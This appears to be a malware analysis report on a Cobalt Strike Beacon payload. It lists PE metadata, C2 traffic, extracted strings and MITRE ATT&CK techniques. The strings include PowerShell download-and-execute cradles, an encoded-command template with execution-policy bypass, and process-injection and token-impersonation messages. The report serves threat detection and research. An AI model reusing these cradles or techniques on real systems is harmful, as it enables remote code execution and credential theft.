Cobalt Strike Beacon (Default)

This payload was observed in conjunction with this actor's activities.

Portable Executable Information

Checksum: 0
Compilation Timestamp: 03 Nov 2020 06:57:30
Entry Point: 89384
Name: beacon.dll
Size: 244kb (249856 bytes)
Target Machine: x86

This payload resides in memory pages with RWX permissions. These memory pages are not backed by a file on disk.

Contacted Hosts

Host	Port	Protocols
10.0.2.15	80	http
10.0.2.15	8080	http

HTTP Traffic

```
GET /cx HTTP/1.1
Cookie: VgS8Uexbw5l1Tx2Kkv5qtw==
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; 360space)

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 64

.VX.........Rf.W..{.=[)'.s84.[....$.`l.r~t...L.g.....]m..&.`..M
```

Extracted Strings

```
%d.%s
post
%s%s
cdn.%x%x.%s
www6.%x%x.%s
%s.1%x.%x%x.%s
%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
```

%s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.
%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.
%x%x.%s
%s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x%08x%08x.%x%x.%s
%s.1%08x%08x%08x.%x%x.%s
%s.1%08x%08x.%x%x.%s
%s.1%08x.%x%x.%s
api.%x%x.%s
unknown
could not run command (w/ token) because of its length of %d bytes!
could not spawn %s (token): %d
could not spawn %s: %d
Could not open process token: %d (%u)
could not run %s as %s\%s: %d
COMSPEC
/C
could not upload file: %d
could not open %s: %d
could not get file time: %d
could not set file time: %d
127.0.0.1
Could not connect to pipe (%s): %d
Could not open service control manager on %s: %d
Could not create service %s on %s: %d
Could not start service %s on %s: %d
Started service %s on %s
Could not query service %s on %s: %d
Could not delete service %s on %s: %d
SeDebugPrivilege
SeTcbPrivilege
SeCreateTokenPrivilege
SeAssignPrimaryTokenPrivilege
SeLockMemoryPrivilege
SeIncreaseQuotaPrivilege
SeUnsolicitedInputPrivilege
SeMachineAccountPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege

SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeCreatePermanentPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeAuditPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeSyncAgentPrivilege
SeEnableDelegationPrivilege
SeManageVolumePrivilege
Could not create service: %d
Could not start service: %d
Failed to impersonate token: %d
Failed to get token
IsWow64Process
kernel32
Could not open '%s'
%s\%s
copy failed: %d
move failed: %d
D 0 %02d/%02d/%02d %02d:%02d:%02d %s
F %I64d %02d/%02d/%02d %02d:%02d:%02d %s
Wow64DisableWow64FsRedirection
Wow64RevertWow64FsRedirection
ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset.
could not allocate %d bytes in process: %d
could not write to process memory: %d
could not adjust permissions in process: %d
could not create remote thread in %d: %d
could not open process %d: %d
%d is an x64 process (can't inject x86 content)
%d is an x86 process (can't inject x64 content)
syswow64
system32
Could not set PPID to %d: %d
Could not set PPID to %d
ntdll
NtQueueApcThread
%ld
%.2X
%.2X:
process

Could not connect to pipe: %d
%d %d %s
Kerberos
kerberos ticket purge failed: %08x
kerberos ticket use failed: %08x
could not connect to pipe: %d
could not connect to pipe
Maximum links reached. Disconnect one
%d %d %d.%d %s %s %s %d %d
Could not bind to %d
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')
%%IMPORT%%
Command length (%d) too long
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s
powershell -nop -exec bypass -EncodedCommand "%s"
?%s=%s
%s&%s=%s
%s%s: %s
%s&%s
%s%s
Could not kill %d: %d
%s %d %d
%s %d %d %s %s %d
%s*
sha256
abcdefghijklmnop
sprng
could not create pipe: %d
I'm already in SMB mode
%s (admin)
Could not open process: %d (%u)
Failed to impersonate token from %d (%u)
Failed to duplicate primary token for %d (%u)
Failed to impersonate logged on user %d (%u)
Could not create token: %d
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: %d
Microsoft Base Cryptographic Provider v1.0

Domains and IP Addresses

The following domains and IP addresses were attributed to this actor.

10.0.2.15

MITRE ATT&CK™ Techniques

The following tactics and techniques were used by this actor.

Access Token Manipulation (T1134)
Credential Dumping (T1003)
Pass the Hash (T1075)
Process Hollowing (T1093)
Process Injection (T1055)